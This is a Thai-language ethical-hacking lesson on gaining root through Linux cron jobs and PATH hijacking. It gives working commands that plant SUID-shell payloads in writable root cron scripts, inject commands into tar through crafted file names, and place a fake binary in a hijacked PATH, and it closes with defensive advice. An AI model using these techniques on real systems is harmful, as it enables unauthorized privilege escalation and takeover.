งาน Cron และ PATH
การใช้ประโยชน์จากงานที่กำหนดเวลาไว้
งาน Cron และ PATH เป็นบทเรียน Ethical Hacking Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 3 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Ethical Hacking Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน
งาน Cron ในฐานะช่องทางโจมตี
ดีมอน cron เรียกใช้งานตามกำหนดเวลา โดยมักทำงานในฐานะ root หากคุณควบคุมสิ่งที่งาน cron ของ root เรียกใช้ได้ ไม่ว่าจะเป็นสคริปต์ ข้อมูลนำเข้า หรือวิธีค้นหาคำสั่ง คุณก็สามารถเรียกใช้โค้ดในฐานะ root ได้
การสำรวจ Cron
อ่าน crontab ของระบบและไดเรกทอรี cron จดบันทึกว่าแต่ละงานทำงานในฐานะใครและเรียกใช้สคริปต์ใด
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /var/spool/cron/crontabs/* 2>/dev/nullเฝ้าดูงานที่ซ่อนอยู่
งานบางอย่างไม่ได้อยู่ในไฟล์ที่เห็นได้ชัดเจน pspy จะตรวจสอบการสร้างกระบวนการโดยไม่ต้องใช้สิทธิ์ root และเปิดเผยคำสั่ง cron ขณะทำงาน รวมถึงคำสั่งที่คุณไม่สามารถอ่านได้จากการกำหนดค่า
./pspy64
# watch for periodic root processesสคริปต์ Cron ที่เขียนได้
วิธีโจมตีที่ง่ายที่สุดคือ งาน Cron ที่ทำงานด้วยสิทธิ์ root เรียกใช้สคริปต์ที่คุณสามารถเขียนได้ ให้เพิ่มเพย์โหลดแล้วรอการทำงานรอบถัดไป
ls -la /opt/backup.sh # -rwxrwxrwx root
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.shการแทรกคำสั่งด้วยไวลด์การ์ด
หากงาน Cron ที่ทำงานด้วยสิทธิ์ root ใช้ไวลด์การ์ด เช่น tar -czf backup.tar.gz * ในไดเรกทอรีที่คุณควบคุมได้ คุณสามารถสร้างไฟล์ที่ชื่อทำหน้าที่เป็นตัวเลือกบรรทัดคำสั่ง (การแทรกอาร์กิวเมนต์) เพื่อบังคับให้ tar เรียกใช้คำสั่งของคุณ
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rb; chmod +s /tmp/rb" > shell.shPATH คืออะไร
PATH คือรายการไดเรกทอรีที่เชลล์ใช้ค้นหาคำสั่ง เมื่อสคริปต์เรียกคำสั่งด้วยชื่อเพียงอย่างเดียว (เช่น backup แทน /usr/bin/backup) ไฟล์แรกที่ตรงกันใน PATH จะถูกเลือกใช้
echo $PATH
# /usr/local/bin:/usr/bin:/binการยึดครอง PATH
หากสคริปต์ที่ทำงานด้วยสิทธิ์ root เรียกคำสั่งโดยไม่ใช้พาธแบบสัมบูรณ์ และคุณสามารถเพิ่มไดเรกทอรีที่เขียนได้ไว้ด้านหน้าของ PATH ให้ใส่ไบนารีอันตรายที่มีชื่อนั้นไว้ในไดเรกทอรีดังกล่าว root จะเรียกใช้เวอร์ชันของคุณ
echo -e "#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb" > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATHพาธสัมพัทธ์ในไบนารี SUID
ข้อบกพร่องแบบเดียวกันนี้พบได้ในไบนารี SUID ที่สร้างขึ้นเองและเรียกใช้ system("service ...") โดยไม่ระบุพาธเต็ม การยึดครอง PATH จะทำให้โค้ดของคุณทำงานด้วยสิทธิ์ root — เป็นการผสานการใช้ประโยชน์จาก PATH เข้ากับแนวคิด SUID
การใช้ประโยชน์จากไดเรกทอรี PATH ที่เขียนได้
แม้จะเปลี่ยน PATH ไม่ได้ หากไดเรกทอรีที่มีอยู่ใน PATH (เช่น /usr/local/bin) เขียนได้ และงานที่ทำงานด้วยสิทธิ์ root เรียกใช้คำสั่งที่อยู่ในไดเรกทอรีนั้น คุณก็เพียงนำไบนารีของคุณไปวางไว้แทนที่
ls -ld /usr/local/bin # check for write permissionการจับจังหวะการโจมตี
การยกระดับสิทธิ์ผ่าน Cron ต้องอาศัยความอดทน — คุณต้องรอตามกำหนดเวลา จดช่วงเวลาไว้ วางเพย์โหลด แล้วตรวจสอบผลลัพธ์ (เช่น เชลล์ SUID ของคุณ) หลังจากงานทำงาน
watch -n 5 ls -la /tmp/rootbashการป้องกันและจริยธรรม
ผู้ดูแลระบบควรใช้พาธแบบสัมบูรณ์ในสคริปต์ จำกัดสิทธิ์ของสคริปต์ Cron และไดเรกทอรีของสคริปต์ หลีกเลี่ยงไวลด์การ์ดในพาธที่ผู้โจมตีควบคุมได้ และกำหนด PATH ที่ปลอดภัยภายใน Cron ให้ทดสอบเทคนิคเหล่านี้เฉพาะในระบบที่ได้รับอนุญาตเท่านั้น
ตรวจสอบความเข้าใจอย่างรวดเร็ว
ทดสอบความรู้เกี่ยวกับ Cron และ PATH ของคุณ
สรุปทบทวน
คุณได้เรียนรู้การยกระดับสิทธิ์ผ่าน Cron และ PATH:
- งาน Cron ของ root ที่เรียกใช้ สคริปต์ที่เขียนได้ หรือใช้ ไวลด์การ์ด สามารถถูกโจมตีได้
- pspy ช่วยเปิดเผยกระบวนการตามกำหนดเวลาที่ซ่อนอยู่
- การยึดครอง PATH ใช้ประโยชน์จากคำสั่งที่ถูกเรียกโดยไม่ใช้พาธแบบสัมบูรณ์
- วางเพย์โหลด รอตามกำหนดเวลา แล้วรับสิทธิ์ root
ถัดไป: การโจมตีเคอร์เนล
เรียนรู้ Ethical Hacking Academy ด้วย AI tutor — ฟรี
เขียนและเรียกใช้โค้ดจริงในเบราว์เซอร์ของคุณ รับความช่วยเหลือทันทีจาก AI tutor 24/7 และเรียนรู้ต่อจากที่คุณหยุดบนเว็บหรือในแอป
- คอร์ส
- 31
- บทเรียน
- 111
คำถามที่พบบ่อย
บทเรียน “งาน Cron และ PATH” ฟรีหรือไม่
ใช่ — ข้อความเต็มของ “งาน Cron และ PATH” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Ethical Hacking Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน
คุณจะเรียนรู้อะไรในบทเรียน “งาน Cron และ PATH”
การใช้ประโยชน์จากงานที่กำหนดเวลาไว้ คุณปฏิบัติ Ethical Hacking Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน
คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Ethical Hacking Academy หรือไม่
ไม่จำเป็นต้องมีประสบการณ์มาก่อน Ethical Hacking Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 3 จากทั้งหมด 4 บทเรียน
บทเรียน “งาน Cron และ PATH” ใช้เวลานานแค่ไหน
บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย
ฉันเขียนและรันโค้ดในบทเรียน Ethical Hacking Academy นี้ได้ไหม
ได้ บทเรียน Ethical Hacking Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ
บทเรียนทั้งหมดในหลักสูตรนี้
- การแจกแจงข้อมูล
- การใช้ SUID และ Sudo ในทางที่ผิด
- งาน Cron และ PATH
- ช่องโหว่เคอร์เนล